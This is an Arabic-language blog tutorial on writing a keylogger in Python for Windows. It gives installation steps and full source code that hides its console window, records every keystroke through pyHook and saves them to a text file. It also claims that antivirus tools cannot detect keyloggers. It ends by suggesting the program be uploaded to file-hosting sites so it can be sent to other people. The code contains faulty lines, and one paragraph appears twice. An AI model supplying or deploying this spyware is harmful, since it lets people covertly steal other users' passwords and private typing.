يعتبر ال (كي لوجر) من البرمجيات الخبيثة طبعا ولكن الشركات تستعملها لمتابعة الموظفين ونشاطاتهم اثناء العمل ولا يمكن كشفها من قبل برامج الانتي فايروس لانها تكون محمية باكواد تراها البرامج على انها عاديه
والكي لوجر نوعان
1- مايسمى بالهارد وير مثال الفلاشة او اليو اس بي
2- السوفت وير ومعناها برامج اما مفتوحة المصدر او مغلقة المصدر وهنا مربط الفرس اليوم
وبرمجة الكي لوجر تتم بعدة لغات برمجة ولكننا اليوم سنتكلم عن لغة بايثون للبرمجة لانها من اسهل اللغات وكل مانحتاج اليه هي هذه الادوات التي سوف يتم وضعها اسفل المقال
والكي لوجر نوعان
1- مايسمى بالهارد وير مثال الفلاشة او اليو اس بي
2- السوفت وير ومعناها برامج اما مفتوحة المصدر او مغلقة المصدر وهنا مربط الفرس اليوم
وبرمجة الكي لوجر تتم بعدة لغات برمجة ولكننا اليوم سنتكلم عن لغة بايثون للبرمجة لانها من اسهل اللغات وكل مانحتاج اليه هي هذه الادوات التي سوف يتم وضعها اسفل المقال
اول تحميل يكون بتحميل بايثون 2.6.2
وثاني خطوة هي تحميل برنامج التالي
الموضح باللون الازرق
والخطوة الثالثة هي تحميل الاضافة التالية
وبعد الانتهاء من التحميل نذهب الى
نقوم بفتح برنامج البايثون باختيار بايثون ايدل
نذهب الى الاعلى ونقوم بفتح مشروع جديد
وعندها سيفتح لنا نافذة جديدة وكل ماعليك فعله هنا هو نسخ هذا الكود ولصقه في البرنامج واذا كنت ذو خبرة بلغة البرمجة يفضل كتابتها يدويا
الكود هو
import win32api import win32console import win32gui import pythoncom, pyHook win = win32console.GetConsoleWindow() win32gui.ShowWindow(win,0) def OnKeyboardEvent(event): if event.Ascii==5: _exit(1) if event.Ascii != 0 or 8: f=open('c:output.txt','r') buffer=f.read() f.close() f=open('c:output.txt','w') keylogs=chr(event.Ascii) if event.Ascii==13: keylogs='/n' buffer += keylogs f.write(buffer) f.close() hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages()
وبعد الانهاء منها تقوم بحفضها
وطبعا هنا انتهت عملية الحفظ بنجاح وكل ماعليك فعله هو الذهاب الى القرص سي وتبحث عن البرنامج الذي حفظته باسم معين وتفتحه وتجربه علا نفسك لان يجب تجربة الكي لوجر اولا لمعرفة ان كان يعمل وافتح البرنامج ولكن لن تراه لانه مخفي وبعدها افتح المفكرة او اي متصفح واطبع بعض الكلمات وبعد الانتهاء قم بالبحث عن ملف يدعى (output.txt)وسوف تجد ماكتبته في الملف
بالمناسبة ان كنت ترغب بارساله الى اي شخص يجب عليك تحميل الملف او البرنامج على مواقع تحميل ملفات لكي تحصل على رابط تحميل
وهنا روابط تحميل بايثون والاضافات الضرورية لنجاح العمل
– Download Python: http://www.python.org/
– Download Pyhook: pyhook.sourceforge.net
– Download Python for Windows Extensions: http://sourceforge.net/projects/pywin32/
0 Comments:
إرسال تعليق
ما يلفظ من قول إلا لديه رقيب عتيد